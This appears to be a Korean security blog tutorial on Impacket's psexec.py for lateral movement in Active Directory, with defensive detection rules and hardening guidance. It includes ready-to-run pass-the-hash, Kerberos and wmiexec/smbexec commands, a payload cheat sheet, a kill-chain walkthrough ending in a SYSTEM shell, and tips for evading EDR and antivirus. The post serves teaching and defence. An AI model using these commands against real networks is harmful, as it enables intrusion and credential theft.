
💡 Impacket (psexec.py) 심층 분석 및 실무 가이드
📌 핵심 요약 (TL;DR)
- 본질: Python 기반의 네트워크 프로토콜 조작 라이브러리인 Impacket에 포함된 핵심 모듈로, SMB/RPC 프로토콜을 악용하여 원격 시스템에 최고 권한(SYSTEM)의 대화형 쉘을 즉각 탈취하는 공격 툴킷임.
- 위협 및 목적: 최초 침투 후 획득한 관리자 자격 증명(패스워드 또는 NTLM 해시)을 이용하여, AD 환경 내 수백 대의 서버로 순식간에 횡적 이동(Lateral Movement)을 수행함.
- 대응 방안: LAPS(Local Administrator Password Solution)를 강제 도입하여 로컬 비밀번호를 파편화하고, EDR을 통해 원격 서비스 생성 로그(Event ID 7045)를 실시간 차단해야 함.
📑 목차 (Table of Contents)
⚠️ 면책 조항 (Disclaimer)
본 포스팅의 보안/해킹 관련 실습은 허가된 통제 환경(개인 VM 및 합법적 모의해킹 계약 범위)에서만 수행됨.
허가되지 않은 타인의 Windows 서버에 자격 증명을 대입하여 쉘(Shell)을 획득하는 행위는 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 위반으로 형사처벌 대상임.
모든 분석은 벤더사 공식 레퍼런스 및 NVD 공인 데이터를 기반으로 작성됨.📖 학습 목적: Windows DCE/RPC 및 SMB 프로토콜의 취약한 동작 원리를 이해하고 종심 방어 전략을 수립하기 위한 학습 및 지식 공유 목적임. 모든 실습은 허가된 통제 환경에서만 진행함.
자주 등장하는 용어 (초보자 참고)
| 약어 | 전체 명칭 | 한 줄 설명 |
|---|---|---|
AD |
Active Directory | 윈도우 환경에서 시스템, 사용자, 정책을 중앙 집중적으로 관리하는 디렉터리 서비스 |
PtH |
Pass-the-Hash | 평문 비밀번호 없이 메모리에서 탈취한 NTLM 해시값 자체를 던져 인증을 통과하는 해킹 기법 |
SMB |
Server Message Block | 윈도우 네트워크에서 파일, 프린터, IPC 등을 공유하기 위한 메인 프로토콜 (포트 445) |
RPC |
Remote Procedure Call | 네트워크를 통해 원격 컴퓨터의 프로그램(서비스)을 실행하도록 요청하는 프로토콜 (포트 135) |
ADMIN$ |
Admin Hidden Share | 관리자 전용 숨김 공유 폴더로, 주로 C:\Windows 디렉터리에 맵핑됨 |
LAPS |
Local Admin Password Solution | 모든 윈도우 단말기의 로컬 Administrator 비밀번호를 난수로 자동 변경하는 보안 솔루션 |
1. 🏗️ 아키텍처 및 랩(Lab) 토폴로지
- 난이도: 중급 ~ 고급
- 주제 분류: 오펜시브 툴 / 포스트 익스플로잇 / 횡적 이동(Lateral Movement)
- 핵심 키워드:
#Impacket#psexec#PasstheHash#ActiveDirectory#횡적이동 - 사전 지식: NTLM 인증 프로토콜, 서비스 컨트롤 매니저(SCM), Named Pipe 통신 구조
(💡 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인 권장.)
| 구분 | OS / 플랫폼 (버전 필수) | 컨테이너 / 네트워크 환경 | IP 대역 | 인프라 내 역할 |
|---|---|---|---|---|
| 공격 (Red) | Kali Linux 2026.x | 네이티브 모의 공격망 | 10.0.0.50/24 |
psexec.py를 구동하여 타겟 서버로 인증 및 악성 서비스 바이너리를 사출함 |
| 타겟 (Target) | Windows Server 2022 | 온프레미스 AD 멤버 서버 | 10.0.0.100/24 |
해커에게 탈취당한 관리자 계정을 통해 RPC 원격 서비스 실행을 허용하는 노드 |
| 방어 (Blue) | Wazuh EDR / Sysmon | 온프레미스 망분리 구성 | 10.0.0.254/24 |
ADMIN$ 공유 접근 및 services.exe의 비정상 자식 프로세스 스폰 행위 관제 |
아키텍처 통신 흐름도
[공격자 (Kali Linux)] [SMB/RPC 터널링] [타겟 Windows 서버]
| | |
|-- (1) 인증: SMB 인증 (Pass-the-Hash) --------->| (포트 445 - 자격 증명 검증 및 통과) |
|-- (2) 업로드: 무작위 이름의 실행파일 업로드 ----->| (ADMIN$ 공유 폴더에 악성 파일 드롭) |
|-- (3) 실행: DCE/RPC를 통한 서비스 등록/시작 ---->| (SCM을 통해 업로드된 파일을 서비스로 구동) |
| | |
|<- (4) 통신: Named Pipe를 통한 쉘 입출력 바인딩 -|<- (SYSTEM 권한의 대화형 Cmd 터미널 획득) ----|
2. 🧠 핵심 개념 및 기술적 정의
2-1. 상세 정의 및 동작 메커니즘
- 정의: SecureAuth(현 Fortra) 소속 연구원들이 개발한 Python 기반 네트워크 프로토콜 라이브러리인 'Impacket' 생태계에 속한 상징적인 원격 코드 실행(RCE) 도구임.
- 탄생 배경: 마이크로소프트의 공식 도구인
PsExec.exe의 동작 원리를 역공학하여, 리눅스 환경에서도 동일한 윈도우 DCE/RPC 통신을 구현하기 위해 탄생함. - 인프라 내 역할: 1차 침투 후 획득한 해시(Hash)나 패스워드를 재활용하여, 망 내 다른 시스템들을 장악하고 도메인 컨트롤러(DC)까지 파고드는 횡적 이동의 핵심 무기임.
- 메커니즘: 타겟 서버의
ADMIN$공유에 임의의 실행 파일을 업로드함. 이후 RPC를 통해 해당 파일을 Windows 서비스로 등록 및 기동시킴. 서비스가 시작되면 입출력을 Named Pipe로 연결하여 해커에게NT AUTHORITY\SYSTEM권한 쉘을 제공함. - 버전 히스토리: 지속적인 업데이트로 최신 Windows의 SMBv3 암호화 및 NTLMv2, 커베로스(Pass-the-Ticket) 인증 아키텍처까지 완벽히 지원하도록 진화함.
2-2. MITRE ATT&CK & Kill Chain 매핑
| Kill Chain Phase | MITRE Tactic (전술) | Technique (기법) | ID |
|---|---|---|---|
| Privilege Escalation | Privilege Escalation | Valid Accounts: Local Accounts | T1078.003 |
| Defense Evasion | Defense Evasion | Use Alternate Auth Material: PtH | T1550.002 |
| Lateral Movement | Lateral Movement | Remote Services: SMB/Admin Shares | T1021.002 |
| Execution | Execution | System Services: Service Execution | T1569.002 |
3. ⚙️ 주요 특징 및 통신 규격
3-1. 기술적 핵심 특징
특징 1 — 절대 권한 장악: 타겟 시스템 접속 시 일반 User 권한이 아닌, 커널과 상호작용하는 윈도우 최고 권한인NT AUTHORITY\SYSTEM으로 즉각 드롭(Drop)됨.특징 2 — Pass-the-Hash (PtH) 네이티브 지원: 평문 패스워드를 크랙할 필요 없이, 메모리에서 덤프한 NTLM 해시값 그 자체를 던져 인증을 완벽히 통과함.특징 3 — 커베로스(Kerberos) 연동:-k옵션을 통해 NTLM 대신 환경 변수에 로드된 커베로스 티켓(CCACHE)을 사용하여 Pass-the-Ticket(PtT) 타격을 연계함.특징 4 — 안티 포렌식 (Cleanup): 해커가 쉘 세션을 종료(Exit)하면, 업로드했던 서비스 바이너리를 디스크에서 삭제하고 레지스트리 엔트리까지 자동 소거함.특징 5 — 독립적인 플랫폼: 타겟은 Windows지만 공격 도구는 순수 Python이므로 Linux, macOS 환경에서도 제약 없이 횡적 이동을 사출함.
3-2. 실무 관점 장단점 (Pros & Cons)
| 구분 | 시스템 관점 특성 | 보안 및 실무 관점의 트레이드오프 |
|---|---|---|
| 장점 1 | 압도적인 신뢰성과 안정성 | 윈도우의 정상 관리자 기능을 악용하므로, 쉘 획득 중 서버 크래시나 블루스크린(BSOD)이 발생하지 않음 |
| 장점 2 | 강력한 횡적 이동 속도 | 자격 증명만 확보되면 파이프라인과 연계하여 C 클래스 대역 전체에 순식간에 백도어 심기 가능 |
| 장점 3 | 다중 인증 프로토콜 지원 | NTLM, Kerberos, AES 등 모던 윈도우 인증 체계를 모두 뚫어냄 |
| 단점 1 | 치명적인 물리적 아티팩트 | 실행 파일(.exe)을 디스크(ADMIN$)에 드롭하므로, EDR 및 백신(AV)에 의해 즉각 탐지되고 삭제당함 |
| 단점 2 | 명확한 이벤트 로그 발생 | 보안 이벤트 7045(새로운 서비스 등록) 로그를 절대 피할 수 없어 블루팀(Blue Team) 관제에 100% 포착됨 |
| 단점 3 | Python 의존성 | 임베디드 리눅스 등 파이썬 환경이 없는 거점에서는 구동이 불가능함 |
3-3. 서비스 포트 및 통신 규격 (IANA Protocol Specification)
| 포트 | 프로토콜 | 서비스명 | IANA 공식 역할 | 보안 위협 및 공격 벡터 |
|---|---|---|---|---|
135 |
TCP | DCE/RPC | 원격 프로시저 호출 | 윈도우 서비스 컨트롤 매니저(SCM)를 원격 제어하기 위한 타격 채널 |
139 |
TCP | NetBIOS-SSN | NetBIOS 세션 서비스 | 레거시 환경에서의 SMB 터널링 및 네임스페이스 해석 |
445 |
TCP | Microsoft-DS | SMB 통신 | 악성 파일(Payload) 업로드 및 Named Pipe를 통한 쉘 입출력 바인딩 |
4. 🛠️ 인프라 셋업 및 구축 명세
4-1. 사전 요구 사항 (Dependencies)
- 패키지: Python 3.6 이상 및
impacket코어 라이브러리. - 권한 제어: 타겟 시스템의 로컬 관리자(Local Administrator) 또는 도메인 관리자의 패스워드나 NTLM 해시 덤프 확보 필수.
4-2. 시스템 구축 (Step-by-Step)
# [Step 1: 시스템 패키지 업데이트 및 pipx 설치 (Kali Linux 권장)]
apt update && apt install -y python3-pip pipx
pipx ensurepath
# [Step 2: Impacket 라이브러리 전역 설치 (격리된 환경 구축)]
pipx install impacket
# [Step 3: psexec.py 스크립트 실행 무결성 검증]
psexec.py -h
5. 📖 상세 명세 (명령어 / API / 프로토콜)
5-1. 기본 구문 및 명령어 구조 (Syntax)
📌 Syntax 표기법: <필수항목> = 반드시 입력 (Required) · [선택항목] = 생략 가능 (Optional)
# CLI 툴킷 명령어 구조
<바이너리명> [도메인/]<계정명>:<비밀번호_또는_해시>@<타겟_IP> [옵션_플래그] [서브_파라미터]
파라미터별 상세 설명
| 파라미터 | 필수 여부 | 타입 | 역할 및 설명 | 실전 값 예시 |
|---|---|---|---|---|
<바이너리명> |
필수 | 스크립트 | Impacket의 RCE 툴킷 실행 명령어. | psexec.py |
[옵션_플래그] |
선택 | 스위치 | 인증, 해시 제어, 출력 및 실행 방식 제어 플래그. | -hashes, -k |
[서브_파라미터] |
선택 | 값 | 특정 플래그(예: -hashes)에 전달되는 NTLM 해시값 등. |
LM:NT |
<타겟> |
필수 | 문자열 | 타겟 윈도우 시스템의 계정@IP 형태의 타격 주소. |
admin@10.0.0.1 |
실전 명령어 예시 — 구성 요소 대조
| 전체 명령어 | 바이너리 | 옵션 플래그 | 서브 파라미터 | 타겟 |
|---|---|---|---|---|
psexec.py admin@10.0.0.1 -hashes LM:NT |
psexec.py |
-hashes |
LM:NT |
admin@10.0.0.1 |
psexec.py -k admin@dc.corp |
psexec.py |
-k |
(없음) | admin@dc.corp |
5-2. 실행 옵션 및 제어 플래그 전체 목록 (Execution Flags)
🔗 연결 옵션 — 네트워크 및 통신 타겟 제어
| 플래그 | 동작 원리 및 공식 매뉴얼 기반 설명 | 완전한 실전 사용 예시 | 실무/보안 활용 관점 |
|---|---|---|---|
-dc-ip |
커베로스 인증 시 도메인 컨트롤러(DC)의 IP를 수동으로 명시함 | -dc-ip 10.0.0.10 |
망분리 등 DNS 해석이 원활하지 않은 타겟 네트워크 장악 시 활용 |
-target-ip |
타겟 도메인 네임과 실제 라우팅 IP가 다를 경우 강제 연결 IP 지정 | -target-ip 10.1.1.5 |
포트 포워딩 환경이나 NAT를 우회하여 내부망에 타격을 가할 때 |
🔐 인증 옵션 — 자격증명 및 권한 제어
| 플래그 | 동작 원리 및 공식 매뉴얼 기반 설명 | 완전한 실전 사용 예시 | 실무/보안 활용 관점 |
|---|---|---|---|
-hashes |
평문 패스워드 대신 LM해시:NTLM해시 구조를 전달(PtH)함 |
-hashes aad3...:5f8c... |
크랙 불가능한 관리자 비밀번호를 우회하여 즉각 권한 장악 |
-k |
NTLM 대신 환경 변수에 로드된 커베로스 티켓(CCACHE) 사용 | psexec.py -k admin@dc |
보안 장비(IDS)의 NTLM 통신 탐지 시그니처 원천 우회 |
-no-pass |
파라미터로 비밀번호를 묻거나 전송하지 않고 캐시된 자격 증명만 의존 | psexec.py -k -no-pass |
쉘 로그(History)에 패스워드 평문이 남는 것을 방지 |
📄 출력 옵션 — 화면 렌더링 및 로깅 제어
| 플래그 | 동작 원리 및 공식 매뉴얼 기반 설명 | 완전한 실전 사용 예시 | 실무/보안 활용 관점 |
|---|---|---|---|
-debug |
SMB 네고시에이션 및 RPC 바인딩 과정의 원시 흐름을 출력함 | psexec.py -debug ... |
백신(AV)이나 EDR에 의해 실행 파일이 언제 드롭당했는지 RCA 분석 시 |
-codec |
쉘의 입출력 인코딩(코드페이지)을 강제 지정하여 다국어 깨짐 방지 | -codec euckr |
한글 Windows 환경(CP949)에서 터미널 출력 데이터 온전성 확보 |
⏱ 타이밍 옵션 — 통신 지연 및 타임아웃 통제
| 플래그 | 동작 원리 및 공식 매뉴얼 기반 설명 | 완전한 실전 사용 예시 | 실무/보안 활용 관점 |
|---|---|---|---|
-timeout |
SMB 및 RPC 타임아웃 시간을 강제로 조절(밀리초)함 | -timeout 5000 |
네트워크 레이턴시가 심한 VPN 환경에서 세션 끊김 현상 방어 |
자주 쓰는 옵션 조합
| 목적 | 조합 예시 |
|---|---|
| NTLM 해시 기반 PtH 공격 쉘 획득 | psexec.py Administrator@10.0.0.100 -hashes 000...:123... |
| 커베로스 기반 스텔스 인증 타격 | psexec.py CORP/admin@dc.corp -k -no-pass |
| 비대화형 단일 명령어 실행 | psexec.py admin:pw@10.0.0.1 cmd.exe /c "ipconfig" |
5-3. 비대화형 명령어 (Non-Interactive Commands)
psexec.py의 디스크 드롭 단점(탐지율 100%)을 극복하기 위한 Impacket Suite의 대체 스크립트 명세임.
🔍 정찰 및 열거
| 명령어 | 파싱 메커니즘 및 런타임 결과 | 완전한 실전 사용 예시 |
|---|---|---|
rpcdump.py |
타겟의 135 포트에 질의하여 원격으로 바인딩 가능한 RPC 엔드포인트 열거 | rpcdump.py 10.0.0.100 |
lookupsid.py |
null 세션 또는 기본 권한으로 도메인 내의 SID를 브루트포싱하여 계정명 추출 | lookupsid.py guest@10.0.0.100 |
💥 익스플로잇 및 페이로드 전달
| 명령어 | 파싱 메커니즘 및 런타임 결과 | 완전한 실전 사용 예시 |
|---|---|---|
smbexec.py |
파일을 업로드하지 않고 cmd.exe /c를 서비스 BinPath에 직접 주입(Fileless) |
smbexec.py admin:pw@10.0.0.100 |
wmiexec.py |
WMI(포트 135) 인터페이스를 악용하여 백신(ADMIN$ 탐지)을 완벽히 우회 | wmiexec.py admin:pw@10.0.0.100 |
🎯 포스트 익스플로잇 및 유틸리티
| 명령어 | 파싱 메커니즘 및 런타임 결과 | 완전한 실전 사용 예시 |
|---|---|---|
secretsdump.py |
타겟 장악 후 메모리(LSASS), NTDS.dit, SAM 레지스트리에서 해시를 덤프함 | secretsdump.py admin:pw@10.0.0.100 |
5-4. 대화형 내부 명령어 (Interactive Commands)
psexec.py를 통해 SYSTEM 쉘을 획득한 직후, 윈도우 인프라를 유린하는 핵심 대화형 명령어임.
🗂 탐색 및 장악
| 내부 명령 | 기술적 동작 및 설명 | 실전 타이핑 예시 | 적용 시나리오 |
|---|---|---|---|
whoami /all |
현재 할당된 계정 권한 및 특권(Privileges) 마스크를 텍스트로 출력함 | whoami /all |
SeDebugPrivilege 활성화 여부를 확인하여 메모리 덤프 가능성 타진 시 |
powershell.exe |
보안 정책(Execution Policy)을 강제 우회하여 제약 없는 파워쉘 엔진 스폰 | powershell.exe -ep bypass |
BloodHound 수집기 전개 및 메모리 기반 악성 스크립트 인젝션 시 |
6. 🚀 핵심 페이로드 치트시트 (Cheat Sheet)
실전 모의해킹 시 타겟의 방어 수준(백신, 인증 체계)에 따라 횡적 이동을 결정짓는 Impacket 타격 페이로드 치트시트임.
| 페이로드 (Impacket Variations) | 파싱 메커니즘 및 런타임 결과 | 목적 / 우회 기법 |
|---|---|---|
psexec.py administrator@10.0.0.100 -hashes 000...:123... |
관리자 NTLM 해시를 이용하여 Pass-the-Hash로 인증 통과 | 크랙 불가능한 복잡한 패스워드 정책을 완벽히 무력화 |
wmiexec.py CORP/krbtgt@10.0.0.1 -k -no-pass |
메모리의 커베로스 티켓을 활용하여 WMI 스텔스 쉘로 DC 장악 | NTLM 통신을 전면 차단한 최고 보안 등급 AD 환경 타격 |
smbexec.py admin:pw@10.0.0.100 |
서비스 실행 경로(BinPath) 변조를 통한 파일리스 RCE | 디스크 드롭을 원천 차단하는 엔드포인트 백신(AV) 기만 |
7. 🎯 심층 킬체인 워크플로우 (Deep Dive)
7-1. 취약점 식별 (CVE / CWE)
psexec.py는 제로데이가 아니라 윈도우의 '정상적인 아키텍처 결함'을 파고드는 도구임.
| 식별 코드 | 취약점 명칭 및 익스플로잇 연계 원리 | 파급력 (Impact) | 대응/패치 방안 |
|---|---|---|---|
CWE-287 |
Improper Authentication — 전사 서버의 로컬 관리자 비밀번호를 동일하게 복사하여 사용하는 설계 결함 | 단 한 대의 단말기 장악으로 전사 인프라 동시 장악 (도미노 현상) | Microsoft LAPS 솔루션 도입을 통한 로컬 패스워드 파편화 및 자동 갱신 |
CWE-311 |
Missing Encryption of Sensitive Data — 메모리(LSASS)에 평문 패스워드나 NTLM 해시가 클리어텍스트로 남음 | Mimikatz 연계를 통한 해시 탈취 및 즉각적인 PtH 타격 릴레이 유발 | Windows RunAsPPL(LSA Protection) 활성화 및 Credential Guard 강제화 |
7-2. 킬체인 전개 스텝 분석
- 난이도: 중급
- 전제: 해커가 피싱을 통해 직원 PC를 장악하고 메모리에서 IT 관리자의 NTLM 해시를 덤프함.
- 탐지 가능성:
High(psexec.py 구동 시 백신에 의해 실행 파일이 삭제될 확률 매우 높음)
Phase 1 — 자격 증명 준비 (Weaponization)
# 해커 노드에서 추출한 NTLM 해시 준비 및 타겟 DB 서버 IP 세팅
HASH="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
TARGET="10.0.0.100"
Phase 2 — Pass-the-Hash 횡적 이동 사출 (Exploitation)
# 크랙 절차 없이 해시값 그대로 파라미터에 인젝션하여 쉘 사출
psexec.py Administrator@10.0.0.100 -hashes ${HASH}
Phase 3 — 목표 달성 및 시스템 장악 (Actions on Objectives)
# [결과 렌더링: SMB 터널 뚫림 및 최고 권한 터미널 획득]
[*] Requesting shares on 10.0.0.100.....
[*] Found writable share ADMIN$
[*] Uploading file BTOBOS...exe
[*] Creating service BTOBOS.....
C:\Windows\system32> whoami
nt authority\system
8. ⚔️ 실전 심화 시나리오
📘 Scenario: EDR 탐지 우회를 위한 WMI 스텔스 횡적 이동 (wmiexec.py)
- 학습 목표: 타겟 서버 앞단 최신 EDR이
psexec.py가 업로드하는 임의의 실행 파일을 즉시 삭제(Access Denied)할 때, 파일 업로드 과정이 없는wmiexec.py를 악용하여 안티바이러스를 완벽히 기만함.
# [Step 1: 기본 psexec.py 타격 시도 및 EDR 차단 확인]
psexec.py Administrator:P@ssword@10.0.0.100
# 결과: [*] Starting service... 에서 STATUS_ACCESS_DENIED 에러 발생 (EDR 악성 파일 격리).
# [Step 2: Fileless 공격 도구인 wmiexec.py로 공격 벡터 전환]
# WMI 인터페이스(135 포트)를 악용, 파일 업로드 없이 Win32_Process 객체를 직접 호출함.
wmiexec.py Administrator:P@ssword@10.0.0.100
# [Step 3: 스텔스 쉘 메커니즘 동작]
# 명령어 결과를 ADMIN$의 임시 텍스트(Output) 파일로 저장 후 읽어오고 삭제하는 세미-인터랙티브 방식 사용.
# [결과 검증]
# EDR의 디스크 쓰기(Executable Drop) 시그니처 엔진을 완벽히 우회하고 타겟 관리자 쉘 획득 성공.
9. 🩹 트러블슈팅 및 장애 대응 (RCA)
| 에러 로그 (Symptom) | 발생 원인 (Root Cause) | 해결책 (Resolution) |
|---|---|---|
STATUS_LOGON_FAILURE |
타겟 서버에 로컬 계정으로 접근 시, 윈도우 UAC 필터링 정책에 의해 네트워크 로그인이 차단됨 | 레지스트리 변조 전까지 로컬 계정 타격 불가. 도메인 계정(Domain Admin)을 탈취하여 타격 우회 |
STATUS_ACCESS_DENIED |
업로드한 실행 파일이 윈도우 디펜더나 백신에 의해 악성코드로 간주되어 실행 직전 강제 삭제됨 | 디스크에 파일을 쓰지 않는 wmiexec.py나 smbexec.py로 타격 방식을 롤아웃하여 방어 엔진 회피 |
Connection timed out |
타겟 방화벽이 외부 대역에서 들어오는 SMB(445) 및 RPC(135) 인바운드 트래픽을 원천 차단함 | 동일한 서브넷(L2) 내부망을 장악한 거점 PC를 프록시로 라우팅 경유 타격 |
10. 🛡️ 방어 아키텍처 및 위협 헌팅 엔지니어링
10-1. MITRE D3FEND 매핑
| 방어 전술 (Tactic) | 방어 기법 (Technique) | 차단 원리 및 메커니즘 | ID (Code) |
|---|---|---|---|
Isolate |
Network Traffic Filtering | 워크스테이션 간(Client-to-Client)의 445/135 포트 통신을 윈도우 방화벽단에서 원천 차단 | D3-NTF |
Detect |
Process Spawn Analysis | services.exe에 의해 무작위 영문자로 조합된 바이너리가 자식 프로세스로 스폰되는 행위 헌팅 |
D3-PSA |
Harden |
Local Account Management | Microsoft LAPS를 도입하여 모든 윈도우 단말기의 로컬 관리자 패스워드를 고유 난수로 하드닝 | D3-LAM |
Deceive |
Decoy Network Resource | 허니팟 계정을 AD에 생성 후, 해당 계정으로 SMB 로그인 시도 시 즉각 알람 | D3-DNR |
10-2. 인프라 하드닝 및 방어 기준
- 액티브 디렉터리(AD) 자격 증명 격리 아키텍처:
- 도메인 관리자(Domain Admin) 계정으로 일반 직원 PC에 로그인하는 행위를 기술적으로 금지(Tiering Model)하여, 메모리에 최상위 해시가 남는 것을 원천 방어해야 함.
ADMIN$및C$관리적 숨은 공유 자원에 대한 접근 권한을 최소화하고, 필수 서버 관리 트래픽이 아니면 SMB 통신 자체를 IPS에서 Drop 처리해야 함.
10-3. IaC 기반 자동화 보안 설정 (Windows Event Log 헌팅 룰셋)
# [SIEM 관제 룰셋: psexec.py의 악성 서비스 등록(Event ID 7045) 및 로그온(Event ID 4624) 실시간 헌팅]
# 1. 윈도우 서비스 컨트롤 매니저에 새로운 서비스가 설치되는 행위 즉시 탐지 (System Log: 7045)
EventID: 7045 AND ServiceFileName: *ADMIN$* OR ServiceFileName: *.exe
# (Impacket은 무작위 알파벳 8자리 또는 특정 시그니처 파일명으로 서비스를 등록함)
# 2. 관리자 계정을 이용한 네트워크 로그온(Type 3)이 비정상적인 출발지에서 발생하는 징후 탐지
EventID: 4624 AND LogonType: 3 AND TargetUserName: Administrator
10-4. 인시던트 대응 절차 (IR Playbook)
| 단계 | 대응 행동 | 담당 | 소요 시간 |
|---|---|---|---|
| 1. 탐지 | SIEM 경보에서 Event ID 7045(새로운 서비스 설치) 다량 발생 인지 | SOC Analyst | T+0 |
| 2. 격리 | 타격당한 서버를 물리/논리적으로 즉시 격리하고 연관된 AD 계정 자격 정지 | IR Team | T+5분 |
| 3. 증거수집 | 타겟 메모리 덤프 확보 및 C:\Windows\ 경로에 드롭된 의심 실행 파일(.exe) 해시 축출 |
Forensic Analyst | T+30분 |
| 4. 원인분석 | Event ID 4624 로그를 분석하여 psexec 패킷을 쏘아 보낸 침투 거점 IP(Source) 역추적 | IR Team / Dev | T+2시간 |
| 5. 쇄신 | 전사 LAPS 패치 정책 긴급 강제 배포 및 탈취된 해시(계정) 비밀번호 일괄 리셋 | SysAdmin | T+4시간 |
10-5. 위협 헌팅 탐지 룰셋 (Suricata NIDS)
# [Suricata 룰] Impacket psexec.py 구동 시 발생하는 고유한 SMB/RPC 인터페이스 통신 바이트 핑거프린트 헌팅
alert tcp $HOME_NET any -> $HOME_NET 445 (msg:"ET EXPLOIT Impacket Psexec Tool RPC Binding Detected"; flow:established,to_server; content:"|05 00 0b 03 10 00 00 00|"; depth:8; classtype:attempted-admin; sid:8000001; rev:1;)
# [Suricata 룰] SMB를 통해 관리자 공유(ADMIN$) 폴더로 실행 파일(.exe)이 업로드되는 악성 페이로드 전송 탐지
alert smb $HOME_NET any -> $HOME_NET 445 (msg:"ET POLICY SMB Upload to ADMIN$ Share (Possible Psexec)"; flow:established,to_server; content:"ADMIN$"; nocase; content:".exe"; nocase; classtype:policy-violation; sid:8000002; rev:1;)
11. 🔗 글로벌 공식 레퍼런스 데이터베이스 (References)
- Impacket 공식 GitHub (Fortra):
https://github.com/fortra/impacket - NVD (National Vulnerability Database):
https://nvd.nist.gov/ - MITRE ATT&CK 기술 분석 (PtH):
https://attack.mitre.org/techniques/T1550/002/ - OWASP 공식 가이드:
https://owasp.org/ - Microsoft LAPS 아키텍처 가이드:
https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview - CWE 공식 데이터베이스 (CWE-287):
https://cwe.mitre.org/data/definitions/287.html - Exploit-DB:
https://www.exploit-db.com/ - KISA 보안 취약점 가이드:
https://www.kisa.or.kr/
12. 🏁 결론 및 비즈니스 임팩트 (Wrap-up)
🎓 이 포스팅에서 배운 것
- 공격 관점: 윈도우의 정상적인 RPC 메커니즘을 악용하여 바이너리를 주입하고, 해시(PtH)만으로 권한을 인증받는 횡적 이동 원리를 파악함.
- 방어 관점: Event ID 7045 모니터링을 통한 서비스 등록 헌팅 기법과, LAPS 솔루션을 통한 로컬 관리자 패스워드 파편화(Hardening) 방어론을 익힘.
- 다음 단계: 통제된 AD 랩 환경을 구축하고, 추출한 NTLM 해시를 이용하여 psexec.py 타격 실습을 권장함.
🔰 엔지니어링 방어 철학
(✏️ Architected by Elpam.k)
"외부 해커를 막기 위해 수천만 원짜리 방화벽을 사들이면서, 정작 내부망 수백 대의 윈도우 서버 로컬 비밀번호를 모두 'Admin123!'으로 똑같이 복사해 쓰는 것은 안방 열쇠를 길거리에 뿌리는 행위와 같음." Impacket psexec.py는 해킹의 마법이 아니라, 인프라 관리자의 나태함을 자양분으로 삼는 징벌적 도구임. 단 한 대의 단말기가 뚫리더라도 다른 서버로의 횡적 이동(Lateral Movement)을 끊어내기 위해선, 전사 LAPS 도입과 클라이언트 간 망분리, 그리고 '내부망의 통신도 믿지 않는다'는 제로 트러스트(Zero Trust) 아키텍처를 AD 환경 깊숙이 영구적으로 인포싱해야 함.
'보안 기술 > 해킹 툴' 카테고리의 다른 글
| Responder (0) | 2026.04.08 |
|---|---|
| AWS CLI (0) | 2026.04.08 |
| Netcat(nc) (0) | 2026.04.08 |
| cURL (0) | 2026.04.08 |
| Burp Suite (0) | 2026.04.08 |
Discussion 0